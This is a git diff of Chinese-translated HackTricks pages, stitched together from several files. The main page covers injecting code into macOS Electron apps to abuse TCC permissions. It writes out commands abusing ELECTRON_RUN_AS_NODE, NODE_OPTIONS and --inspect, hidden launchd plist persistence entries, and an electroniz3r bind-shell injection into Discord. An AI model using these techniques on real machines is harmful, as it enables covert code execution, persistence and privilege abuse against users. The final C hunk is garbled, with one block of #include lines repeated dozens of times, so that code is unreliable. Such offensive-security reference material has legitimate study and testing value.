现在只需要找到一个地址来开始我们的签名搜索。为此,我们利用另一个公开的调试器函数**`MT_GetDCB`**。它返回目标进程的一些有用信息,但对于我们的情况,我们对返回的一个包含**辅助函数地址**的字段感兴趣,即**`m_helperRemoteStartAddr`**。使用这个地址,我们知道**`libcorclr.dll`在目标进程内存中的位置**,可以开始搜索DFT。
|
||||
|
||||
知道了这个地址,就可以用我们的shellcode覆盖函数指针。
|
||||
知道了这个地址,就可以用我们的shellcode覆写函数指针。
|
||||
|
||||
完整的用于注入到PowerShell的POC代码可以在[这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)找到。
|
||||
|
||||
|
@ -189,7 +189,7 @@ vmmap -pages 35829 | grep "rwx/rwx"
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**为你的公司做广告**吗?或者你想要**获取最新版本的PEASS或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFT收藏品**](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
|
|
|
@ -7,36 +7,33 @@
|
|||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
## 向Electron应用程序添加代码
|
||||
## 基本信息
|
||||
|
||||
Electron应用程序的JS代码未经签名,因此攻击者可以将应用程序移动到可写位置,注入恶意JS代码并启动该应用程序以滥用TCC权限。
|
||||
如果你不知道什么是Electron,你可以在[**这里找到大量信息**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。但现在只需要知道Electron运行**node**。\
|
||||
而node有一些**参数**和**环境变量**,可以用来**执行其他代码**,而不仅仅是指定的文件。
|
||||
|
||||
然而,修改应用程序需要**`kTCCServiceSystemPolicyAppBundles`**权限,默认情况下不再允许此操作。
|
||||
### Electron Fuses
|
||||
|
||||
## 检查Electron应用程序
|
||||
接下来将讨论这些技术,但最近Electron添加了几个**安全标志来防止它们**。这些是[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses),这些是用于**防止**macOS上的Electron应用程序**加载任意代码**的标志:
|
||||
|
||||
根据[**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),如果你使用**`--inspect`**、**`--inspect-brk`**和**`--remote-debugging-port`**等标志来执行Electron应用程序,将会打开一个**调试端口**,你可以连接到它(例如从Chrome中的`chrome://inspect`),然后你就可以在其中**注入代码**或者启动新的进程。\
|
||||
例如:
|
||||
* **`RunAsNode`**:如果禁用,它将阻止使用环境变量**`ELECTRON_RUN_AS_NODE`**来注入代码。
|
||||
* **`EnableNodeCliInspectArguments`**:如果禁用,像`--inspect`,`--inspect-brk`这样的参数将不会被识别。从而避免了注入代码的方式。
|
||||
* **`EnableEmbeddedAsarIntegrityValidation`**:如果启用,macOS将验证加载的**`asar`**文件。通过修改此文件的内容,以防止代码注入。
|
||||
* **`OnlyLoadAppFromAsar`**:如果启用,它将只检查和使用app.asar,而不是按照以下顺序搜索加载:**`app.asar`**,**`app`**,最后是**`default_app.asar`**。因此,当与**`embeddedAsarIntegrityValidation`**标志结合使用时,**无法加载未经验证的代码**。
|
||||
* **`LoadBrowserProcessSpecificV8Snapshot`**:如果启用,浏览器进程将使用名为`browser_v8_context_snapshot.bin`的文件进行其V8快照。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
|
||||
# Connect to it using chrome://inspect and execute a calculator with:
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||||
```
|
||||
{% endcode %}
|
||||
另一个不会阻止代码注入的有趣的标志是:
|
||||
|
||||
{% hint style="danger" %}
|
||||
请注意,现在已经禁用了启用了**RunAsNode**和**`EnableNodeCliInspectArguments`**的**加固**的Electron应用程序,当启动时将会**忽略节点参数**(如--inspect),除非设置了环境变量**`ELECTRON_RUN_AS_NODE`**。
|
||||
* **EnableCookieEncryption**:如果启用,磁盘上的cookie存储将使用操作系统级别的加密密钥进行加密。
|
||||
|
||||
但是,您仍然可以使用electron参数`--remote-debugging-port=9229`,但之前的有效载荷将无法执行其他进程。
|
||||
### 检查Electron Fuses
|
||||
|
||||
您可以通过以下方式检查应用程序中的这些标志:
|
||||
你可以从应用程序中**检查这些标志**:
|
||||
```bash
|
||||
npx @electron/fuses read --app /Applications/Slack.app
|
||||
|
||||
|
@ -50,28 +47,40 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
|
|||
OnlyLoadAppFromAsar is Enabled
|
||||
LoadBrowserProcessSpecificV8Snapshot is Disabled
|
||||
```
|
||||
### 修改 Electron Fuses
|
||||
|
||||
正如[**文档中提到的**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode),**Electron Fuses** 的配置是在包含字符串 **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** 的 **Electron 二进制文件**中配置的。
|
||||
|
||||
在 macOS 应用程序中,通常位于 `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`。
|
||||
```bash
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
你可以在[https://hexed.it/](https://hexed.it/)中加载该文件并搜索之前的字符串。在这个字符串后面,你可以在ASCII中看到一个数字"0"或"1",表示每个保险丝是否被禁用或启用。只需修改十六进制代码(`0x30`表示`0`,`0x31`表示`1`)来**修改保险丝的值**。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
请注意,如果您尝试用修改后的字节覆盖应用程序中的**`Electron Framework`二进制文件**,该应用程序将无法运行。
|
||||
|
||||
## 向Electron应用程序添加代码的RCE
|
||||
|
||||
Electron应用程序可能使用**外部JS/HTML文件**,因此攻击者可以在这些文件中注入代码,其签名不会被检查,并在应用程序的上下文中执行任意代码。
|
||||
|
||||
{% hint style="danger" %}
|
||||
然而,目前有两个限制:
|
||||
|
||||
* 需要**`kTCCServiceSystemPolicyAppBundles`**权限来修改应用程序,因此默认情况下不再可能。
|
||||
* 编译的**`asap`**文件通常启用了**`embeddedAsarIntegrityValidation`**和**`onlyLoadAppFromAsar`**的保险丝
|
||||
|
||||
使得这种攻击路径更加复杂(或不可能)。
|
||||
{% endhint %}
|
||||
|
||||
## `NODE_OPTIONS`
|
||||
## 使用`ELECTRON_RUN_AS_NODE`进行RCE <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
|
||||
{% hint style="warning" %}
|
||||
如果 Electron 应用程序已经进行了适当的加固并禁用了此选项,那么这个环境变量将不起作用。如果已经加固,你还需要使用 **环境变量 `ELECTRON_RUN_AS_NODE`**。
|
||||
{% endhint %}
|
||||
|
||||
通过这种组合,你可以将恶意代码存储在一个不同的文件中,并执行该文件:
|
||||
根据[**文档**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node),如果设置了这个环境变量,它将以普通的Node.js进程启动该进程。
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Content of /tmp/payload.js
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$
|
||||
|
||||
# Execute
|
||||
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
```
|
||||
## `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>
|
||||
|
||||
根据[**文档**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node)的说明,如果设置了这个环境变量,它将以普通的Node.js进程启动。
|
||||
```bash
|
||||
# Run this
|
||||
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
# Then from the nodeJS console execute:
|
||||
|
@ -79,7 +88,13 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
正如[**在这里提出的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),您可以滥用这个环境变量在 plist 中保持持久性:
|
||||
{% hint style="danger" %}
|
||||
如果禁用了fuse **`RunAsNode`**,环境变量**`ELECTRON_RUN_AS_NODE`**将被忽略,这将无法工作。
|
||||
{% endhint %}
|
||||
|
||||
### 从App Plist中注入
|
||||
|
||||
正如[**在这里提出的**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/),您可以滥用这个环境变量在plist中保持持久性:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -103,14 +118,136 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
## 使用 `NODE_OPTIONS` 进行远程代码执行(RCE)
|
||||
|
||||
您可以将恶意代码存储在不同的文件中并执行它:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Content of /tmp/payload.js
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$
|
||||
|
||||
# Execute
|
||||
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
如果禁用了fuse **`EnableNodeOptionsEnvironmentVariable`**,应用程序在启动时将**忽略**环境变量**NODE\_OPTIONS**,除非设置了环境变量**`ELECTRON_RUN_AS_NODE`**,如果禁用了fuse **`RunAsNode`**,则该环境变量也将被**忽略**。
|
||||
{% endhint %}
|
||||
|
||||
### 从App Plist中注入
|
||||
|
||||
您可以在plist中滥用此环境变量以保持持久性,添加以下键:
|
||||
```xml
|
||||
<dict>
|
||||
<key>EnvironmentVariables</key>
|
||||
<dict>
|
||||
<key>ELECTRON_RUN_AS_NODE</key>
|
||||
<string>true</string>
|
||||
<key>NODE_OPTIONS</key>
|
||||
<string>--require /tmp/payload.js</string>
|
||||
</dict>
|
||||
<key>Label</key>
|
||||
<string>com.hacktricks.hideme</string>
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
</dict>
|
||||
```
|
||||
## 使用检查进行远程代码执行(RCE)
|
||||
|
||||
根据[**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),如果你使用诸如**`--inspect`**、**`--inspect-brk`**和**`--remote-debugging-port`**等标志来执行Electron应用程序,将会打开一个**调试端口**,你可以连接到它(例如从Chrome的`chrome://inspect`)并且你将能够在其中**注入代码**甚至启动新的进程。例如:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
|
||||
# Connect to it using chrome://inspect and execute a calculator with:
|
||||
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
如果禁用了fuse**`EnableNodeCliInspectArguments`**,应用程序在启动时将**忽略节点参数**(如`--inspect`),除非设置了环境变量**`ELECTRON_RUN_AS_NODE`**,如果禁用了fuse**`RunAsNode`**,则该环境变量也将被**忽略**。
|
||||
|
||||
但是,您仍然可以使用electron参数`--remote-debugging-port=9229`,但是以前的有效负载将无法执行其他进程。
|
||||
{% endhint %}
|
||||
|
||||
### 从App Plist中注入
|
||||
|
||||
您可以滥用这个plist中的环境变量来保持持久性,添加这些键:
|
||||
```xml
|
||||
<dict>
|
||||
<key>ProgramArguments</key>
|
||||
<array>
|
||||
<string>/Applications/Slack.app/Contents/MacOS/Slack</string>
|
||||
<string>--inspect</string>
|
||||
</array>
|
||||
<key>Label</key>
|
||||
<string>com.hacktricks.hideme</string>
|
||||
<key>RunAtLoad</key>
|
||||
<true/>
|
||||
</dict>
|
||||
```
|
||||
## TCC绕过滥用旧版本
|
||||
|
||||
{% hint style="success" %}
|
||||
macOS的TCC守护程序不会检查应用程序的执行版本。因此,如果您无法使用先前的任何技术在Electron应用程序中注入代码,您可以下载先前的应用程序版本并在其中注入代码,因为它仍然会获得TCC权限。
|
||||
{% endhint %}
|
||||
|
||||
## 自动注入
|
||||
|
||||
工具[**electroniz3r**](https://github.com/r3ggi/electroniz3r)可以轻松地用于查找已安装的易受攻击的Electron应用程序并在其中注入代码。该工具将尝试使用**`--inspect`**技术:
|
||||
|
||||
您需要自己编译它,并可以像这样使用它:
|
||||
```bash
|
||||
# Find electron apps
|
||||
./electroniz3r list-apps
|
||||
|
||||
╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
|
||||
║ Bundle identifier │ Path ║
|
||||
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
|
||||
com.microsoft.VSCode /Applications/Visual Studio Code.app
|
||||
org.whispersystems.signal-desktop /Applications/Signal.app
|
||||
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
|
||||
com.neo4j.neo4j-desktop /Applications/Neo4j Desktop.app
|
||||
com.electron.dockerdesktop /Applications/Docker.app/Contents/MacOS/Docker Desktop.app
|
||||
org.openvpn.client.app /Applications/OpenVPN Connect/OpenVPN Connect.app
|
||||
com.github.GitHubClient /Applications/GitHub Desktop.app
|
||||
com.ledger.live /Applications/Ledger Live.app
|
||||
com.postmanlabs.mac /Applications/Postman.app
|
||||
com.tinyspeck.slackmacgap /Applications/Slack.app
|
||||
com.hnc.Discord /Applications/Discord.app
|
||||
|
||||
# Check if an app has vulenrable fuses vulenrable
|
||||
## It will check it by launching the app with the param "--inspect" and checking if the port opens
|
||||
/electroniz3r verify "/Applications/Discord.app"
|
||||
|
||||
/Applications/Discord.app started the debug WebSocket server
|
||||
The application is vulnerable!
|
||||
You can now kill the app using `kill -9 57739`
|
||||
|
||||
# Get a shell inside discord
|
||||
## For more precompiled-scripts check the code
|
||||
./electroniz3r inject "/Applications/Discord.app" --predefined-script bindShell
|
||||
|
||||
/Applications/Discord.app started the debug WebSocket server
|
||||
The webSocketDebuggerUrl is: ws://127.0.0.1:13337/8e0410f0-00e8-4e0e-92e4-58984daf37e5
|
||||
Shell binding requested. Check `nc 127.0.0.1 12345`
|
||||
```
|
||||
## 参考资料
|
||||
|
||||
* [https://www.electronjs.org/docs/latest/tutorial/fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
* [https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks)
|
||||
* [https://m.youtube.com/watch?v=VWQY5R2A6X8](https://m.youtube.com/watch?v=VWQY5R2A6X8)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **宣传你的公司** 吗?或者你想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram 群组**](https://t.me/peass) 或者 **关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -69,443 +69,17 @@ myipc_server_routine,
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include <mach/mach_traps.h>
|
||||
#include <mach/mach_types.h>
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_port.h>
|
||||
#include <mach/mach_interface.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
#include <mach/mach_time.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/mach_host_priv.h>
|
||||
#include <mach/mach_host_special_ports.h>
|
||||
#include <mach/mach_vm.h>
|
||||
#include <mach/mach_voucher_types.h>
|
||||
#include <mach/mach_voucher.h>
|
||||
